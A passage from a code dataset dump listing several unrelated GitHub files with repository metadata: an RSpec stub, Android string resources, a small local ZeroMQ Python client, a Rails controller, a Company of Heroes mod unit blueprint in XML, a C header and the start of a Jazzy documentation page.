text
stringlengths
2
1.04M
meta
dict
require 'spec_helper' # Specs in this file have access to a helper object that includes # the Ent::ManagementSystemsHelper. For example: # # describe Ent::ManagementSystemsHelper do # describe "string concat" do # it "concats two strings with spaces" do # helper.concat_strings("this","that").should == "this that" # end # end # end describe Ent::ManagementSystemsHelper do pending "add some examples to (or delete) #{__FILE__}" end
{ "content_hash": "3b37bc4a8de5e93ec3f3bcbc82e6b57d", "timestamp": "", "source": "github", "line_count": 15, "max_line_length": 66, "avg_line_length": 30.266666666666666, "alnum_prop": 0.7092511013215859, "repo_name": "LACIS-TI/ERA-RAILS", "id": "1bd7651ad2cdce2ef4e06f998191b0a594ddd6b8", "size": "454", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "spec/helpers/ent/management_systems_helper_spec.rb", "mode": "33188", "license": "mit", "language": [ { "name": "ActionScript", "bytes": "48096" }, { "name": "CSS", "bytes": "7711009" }, { "name": "CoffeeScript", "bytes": "5486" }, { "name": "HTML", "bytes": "172537" }, { "name": "JavaScript", "bytes": "5945884" }, { "name": "Ruby", "bytes": "429087" } ], "symlink_target": "" }
<resources> <string name="app_name">GeekIT</string> <string name="title_section1">Section 1</string> <string name="title_section2">Section 2</string> <string name="title_section3">Section 3</string> <string name="hello_world">Hello world!</string> <string name="action_settings">Settings</string> <string name="grid_item_desc">Book Cover Image</string> <string name="book_cover_details_item">Book Cover Thumbnail Details View</string> <string name="button_download_text">Download</string> <string name="book_details_pages_count_header">Pages</string> <string name="book_details_year_header">Year</string> <string name="book_details_publisher_header">Publisher</string> <string name="book_details_author_header">Author</string> <string name="book_details_isbn_header">ISBN</string> <string name="book_details_description_header">Description</string> <string name="book_details_subtitle_header">Subtitle</string> <string name="book_details_title_header">Title</string> <string name="next_page_button_text">next</string> <string name="search_hint">Find Books</string> <string name="search_box_title">Search</string> <!-- TODO: Remove or change this placeholder text --> <string name="hello_blank_fragment">Hello blank fragment</string> </resources>
{ "content_hash": "03a7cdee9784192f4d785979440501e0", "timestamp": "", "source": "github", "line_count": 28, "max_line_length": 85, "avg_line_length": 47.642857142857146, "alnum_prop": 0.7136431784107946, "repo_name": "powerslider/GeekIT", "id": "5814ad2993f978215498879cfc80f1b078543722", "size": "1334", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/src/main/res/values/strings.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "61136" } ], "symlink_target": "" }
import zmq import sys # ZeroMQ Context context = zmq.Context() # Define the socket using the "Context" sock = context.socket(zmq.REQ) sock.connect("tcp://127.0.0.1:5678") # Send a "message" using the socket sock.send(" ".join(sys.argv[1:])) print sock.recv()
{ "content_hash": "b11e60a91bf02cfa8ce4aebb0d908a86", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 39, "avg_line_length": 20.153846153846153, "alnum_prop": 0.7022900763358778, "repo_name": "ajayaa/python-akhada", "id": "ecb24c83cad85803087124403119d82a874a8788", "size": "262", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "zeromq/client.py", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "1504" }, { "name": "Python", "bytes": "12720" } ], "symlink_target": "" }
class HomeController < ApplicationController def index @posts = Post.published :page => params[:page] end end
{ "content_hash": "8563fdd797bfc1ec21da2783de791165", "timestamp": "", "source": "github", "line_count": 5, "max_line_length": 54, "avg_line_length": 25.2, "alnum_prop": 0.6825396825396826, "repo_name": "igor-alexandrov/rblog", "id": "b1136c4c279bbb244bdcfe256a3e4e7a02ac00ac", "size": "126", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/controllers/home_controller.rb", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "19607" }, { "name": "Ruby", "bytes": "96679" } ], "symlink_target": "" }
<instance description="crew for the maxim HMG&#xA;Multiplayer Clone." template="ebps"> <list name="extensions"> <template_reference name="exts" value="ebpextensions\entity_blueprint_ext"> <string name="alternate_sua" value="armies\common\base\commonhuman\commonhuman" /> <bool name="always_revealed_in_fow" value="False" /> <file name="animator" value="armies\aef\soldiers\rifleman\rifleman" /> <bool name="is_visible_in_game" value="True" /> <float name="precise_size" value="-1" /> </template_reference> <template_reference name="exts" value="ebpextensions\sim_entity_ext"> <bool name="is_in_spatial_bucket" value="True" /> <float name="rotate_snap" value="360" /> <float name="transferable" value="0" /> <bool name="kill_paradrop" value="False" /> </template_reference> <template_reference name="exts" value="ebpextensions\ability_ext"> <list name="abilities"> <instance_reference name="ability" value="abilities\global\cold\blizzard_effect_deep_snow_camo" /> <instance_reference name="ability" value="abilities\global\army_item_abilities\army_item_global_cover_training" /> </list> </template_reference> <template_reference name="exts" value="ebpextensions\action_apply_ext"> <list name="actions"> <template_reference name="action" value="action\animator_set_state"> <bool name="apply_to_leader_only" value="False" /> <string name="do_action_state_name" value="Rifleman01" /> <string name="state_machine_name" value="RoleVariation" /> <string name="undo_action_state_name" value="" /> <bool name="retrigger" value="False" /> <uniqueid name="id" value="1073742494" /> </template_reference> </list> </template_reference> <template_reference name="exts" value="ebpextensions\cost_ext"> <group name="time_cost"> <group name="cost"> <float name="action" value="0" /> <float name="command" value="0" /> <float name="fuel" value="0" /> <float name="manpower" value="42" /> <float name="munition" value="0" /> <float name="popcap" value="0" /> </group> <float name="time_seconds" value="5" /> </group> </template_reference> <template_reference name="exts" value="ebpextensions\health_ext"> <bool name="can_repair" value="False" /> <bool name="cuttable" value="False" /> <string name="death_event_name" value="Death" /> <float name="death_seconds" value="30" /> <bool name="delete_when_dead" value="True" /> <bool name="force_attacker_memory" value="False" /> <float name="hitpoints" value="100" /> <bool name="is_invincible" value="False" /> <bool name="is_salvagable_wreck" value="False" /> <bool name="keep_wreck_ownership" value="False" /> <bool name="rear_damage_enabled" value="False" /> <instance_reference name="rebuilt_entity" value="" /> <instance_reference name="rebuilt_squad" value="" /> <bool name="rebuilt_use_wreck_owner" value="False" /> <bool name="receive_weapon_cover_modifiers" value="True" /> <float name="regeneration" value="0" /> <bool name="regeneration_disabled" value="False" /> <bool name="remove_from_pathfinding_on_death" value="True" /> <bool name="reveal_to_all_on_death" value="False" /> <bool name="ui_can_scuttle" value="False" /> <instance_reference name="wreck_entity" value="" /> <list name="death_actions"> </list> <float name="armor" value="0" /> <float name="rear_armor" value="6.6" /> <float name="target_size" value="1" /> <bool name="dies_from_broken_ice" value="True" /> <list name="criticals"> <group name="critical_group"> <float name="max_health_percentage" value="1" /> <list name="critical_info"> <group name="info"> <float name="weight" value="95" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="True" /> </enum_table> <instance_reference name="critical" value="critical\_no_critical" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="5" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="False" /> </enum_table> <instance_reference name="critical" value="critical\burn_death" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> </list> </group> <group name="critical_group"> <float name="max_health_percentage" value="0.5" /> <list name="critical_info"> <group name="info"> <float name="weight" value="90" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="True" /> </enum_table> <instance_reference name="critical" value="critical\_no_critical" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="10" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="False" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="True" /> </enum_table> <instance_reference name="critical" value="critical\soldier_killed" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="10" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="False" /> </enum_table> <instance_reference name="critical" value="critical\burn_death" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> </list> </group> <group name="critical_group"> <float name="max_health_percentage" value="0" /> <list name="critical_info"> <group name="info"> <float name="weight" value="75" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="True" /> <bool name="flame" value="False" /> <bool name="ballistic" value="True" /> <bool name="explosive" value="False" /> </enum_table> <instance_reference name="critical" value="critical\soldier_killed" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="5" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="False" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="True" /> </enum_table> <instance_reference name="critical" value="critical\soldier_killed_death_intensity_100" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="25" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="True" /> <bool name="flame" value="False" /> <bool name="ballistic" value="True" /> <bool name="explosive" value="True" /> </enum_table> <instance_reference name="critical" value="critical\make_casualty" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="90" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="False" /> </enum_table> <instance_reference name="critical" value="critical\burn_death" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> <group name="info"> <float name="weight" value="10" /> <enum_table name="applicable_weapons"> <bool name="small_arms" value="False" /> <bool name="flame" value="True" /> <bool name="ballistic" value="False" /> <bool name="explosive" value="False" /> </enum_table> <instance_reference name="critical" value="critical\burn_death_out_of_control" /> <enum_table name="applicable_hit_direction"> <bool name="front" value="True" /> <bool name="rear" value="True" /> </enum_table> </group> </list> </group> </list> <float name="weapon_priority" value="0" /> <template_reference name="wreck_entity_option" value="options\none"> </template_reference> </template_reference> <template_reference name="exts" value="ebpextensions\hit_object_ext"> <instance_reference name="hit_material" value="hit_material\human" /> <bool name="hit_non_neutral" value="False" /> <float name="hit_percentage" value="1" /> <bool name="pass_through" value="False" /> <group name="projectile_pass_through"> <bool name="tp_artillery" value="True" /> <bool name="tp_artillery_inf" value="False" /> <bool name="tp_artillery_overwatch" value="False" /> <bool name="tp_homing" value="True" /> <bool name="tp_homing_inf" value="True" /> <bool name="tp_sticky" value="True" /> <bool name="tp_throw" value="True" /> </group> </template_reference> <template_reference name="exts" value="ebpextensions\line_of_sight_ext"> <group name="blocking_box"> <float name="x" value="0.01" /> <float name="y" value="0.01" /> <float name="z" value="0.01" /> </group> <bool name="is_shot_blocking" value="False" /> <bool name="use_blocking_box" value="False" /> <enum name="does_block_line_of_sight" value="Never" /> </template_reference> <template_reference name="exts" value="ebpextensions\modifier_ext"> </template_reference> <template_reference name="exts" value="ebpextensions\population_ext"> <float name="medic_pop" value="0" /> <float name="personnel_pop" value="1" /> <float name="vehicle_pop" value="0" /> </template_reference> <template_reference name="exts" value="ebpextensions\sight_ext"> <group name="detect_camouflage"> <float name="tp_global" value="10" /> <float name="tp_mine" value="0" /> </group> <bool name="extended_sight" value="True" /> <float name="extended_sight_radius" value="70" /> <float name="reveal_area_on_death_time" value="6" /> <group name="sight_package"> <float name="inner_height" value="2.5" /> <float name="inner_radius" value="1" /> <float name="outer_height" value="-3" /> <float name="outer_radius" value="40" /> <float name="cone_angle" value="360" /> <float name="cone_start_radius" value="0" /> </group> <group name="extended_sight_target_info"> <template_reference name="extended_sight_target_info" value="type_ability_target_type\all"> </template_reference> </group> </template_reference> <template_reference name="exts" value="ebpextensions\type_ext"> <group name="unit_type_list"> <enum name="unit_type00" value="infantry" /> <enum name="unit_type01" value="" /> <enum name="unit_type02" value="" /> <enum name="unit_type03" value="" /> <enum name="unit_type04" value="" /> <enum name="unit_type05" value="" /> <enum name="unit_type06" value="mp_unit" /> <enum name="unit_type07" value="aef_infantry" /> <enum name="unit_type08" value="" /> <enum name="unit_type09" value="" /> <enum name="unit_type10" value="" /> <enum name="unit_type11" value="" /> <enum name="unit_type12" value="" /> <enum name="unit_type13" value="" /> <enum name="unit_type14" value="" /> <enum name="unit_type15" value="" /> </group> <enum name="weapon_targeting" value="automatic" /> </template_reference> <template_reference name="exts" value="ebpextensions\ui_ext"> <bool name="ap_killed_kicker" value="True" /> <bool name="ap_loss_kicker" value="True" /> <bool name="cullsphere_selectable" value="False" /> <float name="decorator_offset" value="0.3" /> <bool name="ghost_enable" value="False" /> <bool name="has_speech_code" value="True" /> <locstring name="help_text" value="0" /> <string name="hotkey_name" value="" /> <icon name="icon_name" value="" /> <enum name="kill_type" value="infantry" /> <float name="minimap_color_a" value="255" /> <float name="minimap_color_b" value="255" /> <float name="minimap_color_g" value="255" /> <float name="minimap_color_r" value="255" /> <bool name="minimap_enable" value="True" /> <bool name="minimap_team_only" value="False" /> <bool name="minimap_teamcolor" value="False" /> <bool name="obb_selectable" value="False" /> <string name="overlay_name" value="" /> <bool name="reveal_for_decryption" value="False" /> <locstring name="screen_name" value="0" /> <enum name="selection_name" value="soldier" /> <float name="selection_scale" value="1" /> <enum name="selection_type" value="squad_select" /> <bool name="sloppy_selectable" value="True" /> <group name="speaker"> <string name="code_1" value="wd" /> <string name="code_2" value="wd" /> <string name="code_3" value="" /> </group> <group name="speech_code_2"> <string name="code_1" value="at" /> <string name="code_2" value="wp" /> <string name="code_3" value="in" /> </group> <group name="speech_code_3"> <string name="code_1" value="aat" /> <string name="code_2" value="ant" /> <string name="code_3" value="wpc" /> </group> <group name="speech_code_cover"> <string name="code_1" value="" /> <string name="code_2" value="" /> <string name="code_3" value="" /> </group> <bool name="tacmap_team_only" value="False" /> <locstring name="tooltip_txt" value="0" /> <int name="ui_priority" value="0" /> <icon name="minimap_icon" value="" /> <icon name="portrait_icon_winter" value="" /> <group name="speaker_alt"> <string name="code_1" value="" /> <string name="code_2" value="" /> <string name="code_3" value="" /> </group> <float name="minimap_icon_scale" value="1" /> <icon name="portrait_icon_summer" value="" /> <locstring name="brief_text" value="0" /> <string name="extra_text_deprecated" value="" /> <locstring name="extra_text" value="0" /> <locstring name="screen_name_short" value="0" /> <bool name="show_in_build_log" value="True" /> <bool name="show_entity_appearance" value="True" /> <locstring name="screen_name_world" value="0" /> <locstring name="help_text_world" value="0" /> <locstring name="extra_text_world" value="0" /> <enum name="map_rotation_type_override" value="no_override" /> <enum name="occlusion_state" value="can_be_occluded" /> <icon name="symbol_icon_name" value="" /> <enum name="decorator_visibility" value="default" /> <string name="decorator_marker_name" value="Marker_FX_UI" /> <bool name="skin_pack_override" value="False" /> <string name="skin_summer" value="" /> <string name="skin_winter" value="" /> </template_reference> <template_reference name="exts" value="ebpextensions\attention_ext"> <bool name="should_face_target" value="True" /> </template_reference> <template_reference name="exts" value="ebpextensions\casualty_ext"> <float name="maximum_death_time" value="40" /> <float name="minimum_death_time" value="30" /> <bool name="permanent_casualty" value="False" /> <string name="splat_filename" value="NM_Stains\wounded" /> <float name="splat_radius" value="2" /> <float name="splat_seconds_after_death_or_rescue" value="45" /> <float name="wounded_ui_time_limit" value="0" /> <list name="casualty_modifiers"> <template_reference name="modifier" value="modifiers\sight_radius_modifier"> <enum name="application_type" value="apply_to_entity" /> <bool name="exclusive" value="False" /> <string name="modifier_id" value="" /> <string name="target_type_name" value="" /> <enum name="usage_type" value="multiplication" /> <float name="value" value="0.5" /> <instance_reference name="tooltip" value="modifier_tooltip\sight_radius_modifier" /> </template_reference> </list> <list name="on_rescue_actions"> </list> </template_reference> <template_reference name="exts" value="ebpextensions\combat_ext"> <bool name="reject_attack_command" value="False" /> <list name="hardpoints"> <group name="hardpoint"> <float name="parent_hardpoint" value="-1" /> <list name="weapon_table"> <group name="weapon"> <group name="heading"> <float name="x" value="0" /> <float name="y" value="0" /> <float name="z" value="1" /> </group> <float name="length" value="0" /> <group name="origin"> <float name="x" value="0.25" /> <float name="y" value="1.5" /> <float name="z" value="0" /> </group> <enum name="type" value="default" /> <instance_reference name="weapon" value="weapon\aef\small_arms\single_fire\rifle\m1_garand_rifle_mortar_crew_mp" /> </group> </list> <bool name="receives_attack_commands" value="False" /> </group> </list> <int name="sight_hardpoint" value="-1" /> <list name="kill_actions"> </list> </template_reference> <template_reference name="exts" value="ebpextensions\cover_ext"> <group name="tp_defcover"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_defcover_narrow"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_garrison_cover"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_garrison_halftrack"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_heavy"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0.5" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Heavy_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742495" /> </template_reference> </list> </group> <group name="tp_light"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0.4" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Light_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742496" /> </template_reference> </list> </group> <group name="tp_negative"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="-0.3" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742497" /> </template_reference> </list> </group> <group name="tp_open"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742498" /> </template_reference> </list> </group> <group name="tp_smoke"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742499" /> </template_reference> </list> </group> <group name="tp_trench"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_water"> <group name="posture"> <bool name="prevent_prone" value="True" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742500" /> </template_reference> <template_reference name="action" value="action\apply_modifiers_action"> <float name="duration" value="0" /> <bool name="permanent" value="False" /> <list name="modifiers"> <template_reference name="modifier" value="modifiers\posture_speed_modifier"> <enum name="application_type" value="apply_to_entity" /> <bool name="exclusive" value="False" /> <string name="modifier_id" value="" /> <string name="target_type_name" value="" /> <enum name="usage_type" value="addition" /> <float name="value" value="-1" /> <instance_reference name="tooltip" value="modifier_tooltip\posture_speed_modifier" /> </template_reference> </list> <uniqueid name="id" value="1073742501" /> </template_reference> </list> </group> <group name="tp_z_bunker"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_z_emplacement"> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> <list name="actions"> </list> </group> <group name="tp_z_ice"> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742502" /> </template_reference> </list> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> </group> <group name="tp_z_snow"> <list name="actions"> <template_reference name="action" value="action\animator_set_action"> <string name="action_name" value="UI\Cover\Negative_Cover" /> <float name="duration" value="0" /> <bool name="fire_and_forget" value="True" /> <bool name="is_terrain_only" value="False" /> <bool name="allies_only" value="False" /> <uniqueid name="id" value="1073742503" /> </template_reference> </list> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="1" /> </group> <group name="tp_zz_deep_snow"> <list name="actions"> </list> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="0" /> <float name="speed_multiplier" value="0.45" /> </group> <group name="tp_zz_mud"> <list name="actions"> </list> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="-0.5" /> <float name="speed_multiplier" value="0.7" /> <enum name="override_path_weight" value="" /> </group> <group name="tp_zz_team_weapon_heavy"> <list name="actions"> </list> <group name="posture"> <bool name="prevent_prone" value="False" /> <bool name="prevent_standing" value="False" /> </group> <float name="safety_value" value="-0.5" /> <float name="speed_multiplier" value="1" /> </group> </template_reference> <template_reference name="exts" value="ebpextensions\moving_ext"> <float name="acceleration" value="-1" /> <float name="deceleration" value="-1" /> <float name="high_path_look_ahead_max_dist" value="15" /> <bool name="orient_to_terrain" value="False" /> <instance_reference name="pass_type" value="pass_types\land_only" /> <float name="rotation_rate" value="150" /> <float name="rotation_rate_crouch" value="870" /> <float name="rotation_rate_prone" value="225" /> <float name="rotation_rate_stand" value="870" /> <bool name="smooth_path" value="True" /> <float name="speed_max" value="3" /> <instance_reference name="turn_plan" value="turn_plan\human" /> <float name="on_ice_accel_decel_multiplier" value="0.3" /> <float name="on_land_overturn_scale" value="0" /> <float name="on_ice_overturn_scale" value="1.3" /> </template_reference> <template_reference name="exts" value="ebpextensions\posture_ext"> <instance_reference name="posture_group" value="posture\default_posture_group" /> </template_reference> <template_reference name="exts" value="ebpextensions\crushee_ext"> <list name="on_crushed_actions"> <template_reference name="action" value="action\timed_action"> <float name="duration" value="1" /> <bool name="fire_and_forget" value="True" /> <list name="subactions"> <template_reference name="action" value="action\change_move_data_action"> <float name="acceleration_multiplier" value="0.3" /> <float name="deceleration_multiplier" value="0.3" /> <float name="pathfinding_size_x" value="0" /> <float name="pathfinding_size_y" value="0" /> <uniqueid name="id" value="1073742504" /> </template_reference> <template_reference name="action" value="action\apply_modifiers_action"> <float name="duration" value="1" /> <bool name="permanent" value="False" /> <list name="modifiers"> <template_reference name="modifier" value="modifiers\speed_maximum_modifier"> <enum name="application_type" value="apply_to_entity" /> <bool name="exclusive" value="False" /> <string name="modifier_id" value="" /> <string name="target_type_name" value="" /> <enum name="usage_type" value="multiplication" /> <float name="value" value="0.3" /> <instance_reference name="tooltip" value="modifier_tooltip\speed_maximum_modifier" /> </template_reference> </list> <uniqueid name="id" value="1073742505" /> </template_reference> </list> <uniqueid name="id" value="1073742506" /> </template_reference> </list> </template_reference> <template_reference name="exts" value="ebpextensions\team_weapon_user_ext"> </template_reference> <template_reference name="exts" value="ebpextensions\holdable_ext"> <enum name="holdable" value="hold_infantry" /> </template_reference> <template_reference name="exts" value="ebpextensions\camouflage_ext"> <float name="attack_priority" value="5" /> <enum name="camouflage_type" value="tp_global" /> <bool name="chain_revealer" value="True" /> <float name="detection_radius" value="10" /> <bool name="must_be_fully_constructed" value="False" /> <bool name="permanently_activated" value="False" /> <float name="combat_reset_time" value="8" /> <float name="first_strike_shots" value="1" /> <float name="revert_max" value="25" /> <float name="revert_multiplier" value="1.5" /> <float name="revert_time" value="8" /> <float name="revert_time_on_detection" value="8" /> <list name="camouflage_actions"> <template_reference name="action" value="action\apply_modifiers_action"> <float name="duration" value="0" /> <bool name="permanent" value="True" /> <list name="modifiers"> <template_reference name="modifier" value="modifiers\posture_speed_modifier"> <enum name="application_type" value="apply_to_entity" /> <bool name="exclusive" value="False" /> <string name="modifier_id" value="" /> <string name="target_type_name" value="" /> <enum name="usage_type" value="addition" /> <float name="value" value="-1" /> <instance_reference name="tooltip" value="modifier_tooltip\posture_speed_modifier" /> </template_reference> </list> <uniqueid name="id" value="1073742507" /> </template_reference> </list> <list name="first_strike_actions"> </list> </template_reference> </list> <uniqueid name="pbgid" value="2531" /> </instance>
{ "content_hash": "1e0af0c074f45a7c180e727b5c0cd563", "timestamp": "", "source": "github", "line_count": 798, "max_line_length": 122, "avg_line_length": 41.46115288220551, "alnum_prop": 0.615124221725201, "repo_name": "LastCrusadeModTeam/LastCrusade", "id": "7cd12eaf034ac0e0515b9fb167c1db126898ae8f", "size": "33086", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "src/instances/ebps/races/aef/soldiers/weapon_crew/at_team_weapon_crew_mp.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "AMPL", "bytes": "5218" }, { "name": "CSS", "bytes": "2640" }, { "name": "HTML", "bytes": "117223" }, { "name": "Lua", "bytes": "87140" } ], "symlink_target": "" }
b2g_error_t bam_files2pair_files(int , char *, char *, b2g_libraries_t *, b2g_chromosomes_t *, hash_t *, samfile_t *, samfile_t *, int, int, int, int, int, int, int, int, int, int, int, b2g_platform_t, int, int, int, int, unsigned int *); #endif
{ "content_hash": "2dcf1bbc892c2dedfce9312836e057dd", "timestamp": "", "source": "github", "line_count": 3, "max_line_length": 238, "avg_line_length": 82.33333333333333, "alnum_prop": 0.6477732793522267, "repo_name": "daviddliu/THetA_luigi", "id": "ededa38b74aacce9da58da5fa8e6ea163e5f655e", "size": "797", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "PipelineSoftware/bam2gasv/src/bam2gasv/bam_files2pair_files.h", "mode": "33261", "license": "mit", "language": [ { "name": "C", "bytes": "2101116" }, { "name": "C++", "bytes": "383121" }, { "name": "Erlang", "bytes": "3255" }, { "name": "Java", "bytes": "659378" }, { "name": "JavaScript", "bytes": "1216" }, { "name": "Lua", "bytes": "23713" }, { "name": "Perl", "bytes": "198426" }, { "name": "Python", "bytes": "269985" }, { "name": "R", "bytes": "31585" }, { "name": "Scala", "bytes": "190" }, { "name": "Shell", "bytes": "313628" }, { "name": "TeX", "bytes": "75193" } ], "symlink_target": "" }
<!DOCTYPE html> <html lang="en"> <head> <title>InlineIdentifierOptimization Structure Reference</title> <link rel="stylesheet" type="text/css" href="../css/jazzy.css" /> <link rel="stylesheet" type="text/css" href="../css/highlight.css" /> <meta charset="utf-8"> <script src="../js/jquery.min.js" defer></script> <script src="../js/jazzy.js" defer></script> <script src="../js/lunr.min.js" defer></script> <script src="../js/typeahead.jquery.js" defer></script> <script src="../js/jazzy.search.js" defer></script> </head> <body> <a name="//apple_ref/swift/Struct/InlineIdentifierOptimization" class="dashAnchor"></a> <a title="InlineIdentifierOptimization Structure Reference"></a> <header class="header"> <p class="header-col header-col--primary"> <a class="header-link" href="../index.html"> STLR Docs </a> (46% documented) </p> <p class="header-col--secondary"> <form role="search" action="../search.json"> <input type="text" placeholder="Search documentation" data-typeahead> </form> </p> </header> <p class="breadcrumbs"> <a class="breadcrumb" href="../index.html">STLR Reference</a> <img class="carat" src="../img/carat.png" /> InlineIdentifierOptimization Structure Reference </p> <div class="content-wrapper"> <nav class="navigation"> <ul class="nav-groups"> <li class="nav-group-name"> <a class="nav-group-name-link" href="../Classes.html">Classes</a> <ul class="nav-group-tasks"> <li class="nav-group-task"> <a class="nav-group-task-link" 